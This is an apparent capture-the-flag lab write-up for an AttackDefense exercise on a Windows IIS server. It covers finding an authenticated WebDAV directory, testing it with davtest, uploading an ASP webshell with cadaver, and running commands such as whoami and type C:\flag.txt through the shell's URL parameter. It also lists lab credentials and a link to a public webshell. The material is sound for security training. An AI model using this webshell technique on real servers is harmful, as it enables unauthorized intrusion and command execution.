Windows IIS Server DAVTest
Windows IIS Server DAVTest
URL https://attackdefense.com/challengedetails?cid=2317
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
We have found the webdav directory also received 401 error i.e Unauthorized.
Step 4: Running davtest tool.
We can notice, /webdav path is secured with basic authentication. We have the credentials
access the /webdav path using the provided credentials i.e bob:password_123321
Step 5: Upload a .asp backdoor on the target machine to /webdav directory using cadaver
utility.
We can interact with the webdav directory using the cadaver tool.
Step 6: Uploading asp backdoor to the IIS web server in webdav directory.
URL: http://10.0.16.177/webdav/webshell.asp
URL: http://10.0.16.177/webdav/webshell.asp?cmd=whoami
We are running as an IIS apppool.
URL: http://10.0.16.177/webdav/webshell.asp?cmd=dir+C%3A%5C
We can notice, there is a flag.txt file present in the C:\ drive. Reading it.
URL: http://10.0.16.177/webdav/webshell.asp?cmd=type+C%3A%5Cflag.txt
This reveals the flag to us.
Flag: 0cc175b9c0f1b6a831c399e269772661
References:
1. DAVTest (https://github.com/cldrn/davtest)
2. Cadaver (https://github.com/grimneko/cadaver)
3. ASP Webshell
(https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp)